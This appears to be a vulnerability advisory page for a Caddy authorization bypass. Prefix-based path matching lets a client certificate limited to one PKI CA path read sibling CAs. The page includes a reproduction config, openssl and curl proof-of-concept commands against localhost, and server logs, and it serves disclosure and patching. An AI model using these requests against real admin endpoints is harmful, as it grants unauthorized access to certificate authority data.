GHSA-gx7w-56w6-g48x Caddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching

Not scored Published

Attackers with limited admin certificates can bypass path restrictions to access unauthorized PKI resources due to flawed prefix matching.

Exploited in the wild
Not known
Login needed
Any signed-in user
Attackable
Over the internet
Victim action needed
Not needed
Fix
Available

What is GHSA-gx7w-56w6-g48x?

GHSA-gx7w-56w6-g48x is an authentication bypass vulnerability in github.com/caddyserver/caddy/v2, published on 19 May 2026. Any signed-in user can exploit it over the network, with no action from the victim.

Official description

AI Disclosure

I used an LLM to help review the source code, reason about attack surface, and help draft and refine this report. I manually validated the finding by reproducing it locally, confirming the vulnerable code path, and verifying the HTTP behavior with curl -v.

Summary

Caddy's remote admin access control performs path authorization using prefix matching:

  • admin.go: strings.HasPrefix(r.URL.Path, allowedPath)

This allows a client certificate authorized only for /pki/ca/prod to access sibling PKI resources whose paths merely share the same prefix, such as /pki/ca/prod-backup.

This is an authorization bug in Caddy's source code, not a misconfiguration issue. The configured policy is more restrictive than the behavior that Caddy actually enforces.

Affected Component

Remote admin access control for PKI admin endpoints.

Relevant code:

Root Cause

In RemoteAdmin.enforceAccessControls(), allowed paths are checked like this:

for _, allowedPath := range accessPerm.Paths {
	if strings.HasPrefix(r.URL.Path, allowedPath) {
		pathFound = true
		break
	}
}

This does not enforce a path-segment boundary.

So if the allowed path is:

/pki/ca/prod

then all of the following are treated as authorized:

  • /pki/ca/prod-backup
  • /pki/ca/prod1
  • /pki/ca/prodanything

For PKI admin endpoints, the CA ID is taken directly from the request path:

  • modules/caddypki/adminapi.go:164

So /pki/ca/prod-backup is interpreted as CA ID prod-backup, even though only /pki/ca/prod was intended to be allowed.

Security Impact

A remote admin client certificate restricted to one PKI CA path can access other CA resources with the same prefix.

This breaks least-privilege remote admin policies and results in authenticated authorization bypass.

Minimal Configuration

File: repro.json

  {
    "admin": {
      "listen": "127.0.0.1:2019",
      "identity": {
        "identifiers": ["localhost"],
        "issuers": [
          { "module": "internal" }
        ]
      },
      "remote": {
        "listen": "127.0.0.1:2021",
        "access_control": [
          {
            "public_keys": ["<CLIENT_CERT_BASE64_DER>"],
            "permissions": [
              {
                "methods": ["GET"],
                "paths": ["/pki/ca/prod"]
              }
            ]
          }
        ]
      }
    },
    "apps": {
      "pki": {
        "certificate_authorities": {
          "prod": {
            "name": "prod"
          },
          "prod-backup": {
            "name": "prod-backup"
          }
        }
      }
    }
  }

Reproduction Steps From Scratch

1. Generate a client certificate

  openssl req -x509 -newkey rsa:2048 -nodes -days 365 \
    -subj '/CN=remote-admin-client' \
    -keyout client.key \
    -out client.crt

2. Convert the client certificate to base64 DER

CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')"

3. Put that value into repro.json

Replace:

<CLIENT_CERT_BASE64_DER>

with the value of CLIENT_CERT_B64.

4. Run Caddy

go run ./cmd/caddy run –config ./repro.json

5. Confirm access to the intended allowed path

  curl -vk \
    --resolve localhost:2021:127.0.0.1 \
    --cert ./client.crt \
    --key ./client.key \
    https://localhost:2021/pki/ca/prod

Expected result:

  • HTTP/1.1 200 OK

6. Request a different CA whose path shares the same prefix

  curl -vk \
    --resolve localhost:2021:127.0.0.1 \
    --cert ./client.crt \
    --key ./client.key \
    https://localhost:2021/pki/ca/prod-backup

Expected secure behavior:

  • HTTP/1.1 403 Forbidden

Actual behavior:

  • HTTP/1.1 200 OK

Precise HTTP Requests and Output

Allowed path

  curl -vk \
    --resolve localhost:2021:127.0.0.1 \
    --cert ./client.crt \
    --key ./client.key \
    https://localhost:2021/pki/ca/prod

Response excerpt:

  &gt; GET /pki/ca/prod HTTP/1.1
  &gt; Host: localhost:2021
  &gt; User-Agent: curl/8.5.0
  &gt; Accept: */*
  &gt;
  &lt; HTTP/1.1 200 OK
  &lt; Content-Type: application/json

Unauthorized sibling path that is incorrectly allowed

  curl -vk \
    --resolve localhost:2021:127.0.0.1 \
    --cert ./client.crt \
    --key ./client.key \
    https://localhost:2021/pki/ca/prod-backup

Response excerpt:

  &gt; GET /pki/ca/prod-backup HTTP/1.1
  &gt; Host: localhost:2021
  &gt; User-Agent: curl/8.5.0
  &gt; Accept: */*
  &gt;
  &lt; HTTP/1.1 200 OK
  &lt; Content-Type: application/json

The body returned CA information for prod-backup, despite the configured permission only allowing /pki/ca/prod.

Full Log Output

sever :

root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /caddy/repro.json
2026/03/19 13:58:13.747	INFO	maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined
2026/03/19 13:58:13.747	INFO	GOMEMLIMIT is updated	{&#34;GOMEMLIMIT&#34;: 26273105510, &#34;previous&#34;: 9223372036854775807}
2026/03/19 13:58:13.747	INFO	using config from file	{&#34;file&#34;: &#34;/caddy/repro.json&#34;}
2026/03/19 13:58:13.757	INFO	admin	admin endpoint started	{&#34;address&#34;: &#34;127.0.0.1:2019&#34;, &#34;enforce_origin&#34;: false, &#34;origins&#34;: [&#34;//localhost:2019&#34;, &#34;//[::1]:2019&#34;, &#34;//127.0.0.1:2019&#34;]}
2026/03/19 13:58:13.757	WARN	pki.ca.prod	installing root certificate (you might be prompted for password)	{&#34;path&#34;: &#34;storage:pki/authorities/prod/root.crt&#34;}
2026/03/19 13:58:13.757	INFO	warning: &#34;certutil&#34; is not available, install &#34;certutil&#34; with &#34;apt install libnss3-tools&#34; or &#34;yum install nss-tools&#34; and try again
2026/03/19 13:58:13.757	INFO	define JAVA_HOME environment variable to use the Java trust
2026/03/19 13:58:14.406	INFO	certificate installed properly in linux trusts
2026/03/19 13:58:14.406	WARN	pki.ca.prod-backup	installing root certificate (you might be prompted for password)	{&#34;path&#34;: &#34;storage:pki/authorities/prod-backup/root.crt&#34;}
2026/03/19 13:58:14.407	INFO	warning: &#34;certutil&#34; is not available, install &#34;certutil&#34; with &#34;apt install libnss3-tools&#34; or &#34;yum install nss-tools&#34; and try again
2026/03/19 13:58:14.407	INFO	define JAVA_HOME environment variable to use the Java trust
2026/03/19 13:58:15.038	INFO	certificate installed properly in linux trusts
2026/03/19 13:58:15.045	INFO	admin.identity.cache.maintenance	started background certificate maintenance	{&#34;cache&#34;: &#34;0xc0006a4480&#34;}
2026/03/19 13:58:15.046	INFO	admin.remote	secure admin remote control endpoint started	{&#34;address&#34;: &#34;127.0.0.1:2021&#34;}
2026/03/19 13:58:15.046	INFO	admin.identity.obtain	acquiring lock	{&#34;identifier&#34;: &#34;localhost&#34;}
2026/03/19 13:58:15.046	INFO	autosaved config (load with --resume flag)	{&#34;file&#34;: &#34;/root/.config/caddy/autosave.json&#34;}
2026/03/19 13:58:15.046	INFO	serving initial configuration
2026/03/19 13:58:15.047	INFO	admin.identity.obtain	lock acquired	{&#34;identifier&#34;: &#34;localhost&#34;}
2026/03/19 13:58:15.047	INFO	admin.identity.obtain	obtaining certificate	{&#34;identifier&#34;: &#34;localhost&#34;}
2026/03/19 13:58:15.049	INFO	admin.identity.obtain	certificate obtained successfully	{&#34;identifier&#34;: &#34;localhost&#34;, &#34;issuer&#34;: &#34;local&#34;}
2026/03/19 13:58:15.049	INFO	admin.identity.obtain	releasing lock	{&#34;identifier&#34;: &#34;localhost&#34;}
2026/03/19 13:58:15.050	WARN	admin.identity	stapling OCSP	{&#34;identifiers&#34;: [&#34;localhost&#34;]}
2026/03/19 13:59:36.896	INFO	admin.api	received request	{&#34;method&#34;: &#34;GET&#34;, &#34;host&#34;: &#34;localhost:2021&#34;, &#34;uri&#34;: &#34;/pki/ca/prod&#34;, &#34;remote_ip&#34;: &#34;127.0.0.1&#34;, &#34;remote_port&#34;: &#34;40728&#34;, &#34;headers&#34;: {&#34;Accept&#34;:[&#34;*/*&#34;],&#34;User-Agent&#34;:[&#34;curl/8.5.0&#34;]}, &#34;secure&#34;: true, &#34;verified_chains&#34;: 1}
2026/03/19 14:00:24.102	INFO	admin.api	received request	{&#34;method&#34;: &#34;GET&#34;, &#34;host&#34;: &#34;localhost:2021&#34;, &#34;uri&#34;: &#34;/pki/ca/prod-backup&#34;, &#34;remote_ip&#34;: &#34;127.0.0.1&#34;, &#34;remote_port&#34;: &#34;60490&#34;, &#34;headers&#34;

Which versions are affected by GHSA-gx7w-56w6-g48x?

3 open source packages ship an affected version, including github.com/caddyserver/caddy/v2.

PackageAffectedFixed in
github.com/caddyserver/caddy/v2 GoAll versions2.11.3
github.com/caddyserver/caddy/v2 GoAll versions2.11.3
github.com/caddyserver/caddy/v2 GoAll versions2.11.3

How do I fix GHSA-gx7w-56w6-g48x?

Upgrade github.com/caddyserver/caddy/v2 to 2.11.3 or later.

Upgrade, and rotate credentials and sessions that may have been exposed. More about Authentication bypass.

Is GHSA-gx7w-56w6-g48x being exploited?

There is no known exploitation of GHSA-gx7w-56w6-g48x in the wild and no public exploit code.

Sources

Also known as GO-2026-5408.

Is GHSA-gx7w-56w6-g48x in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free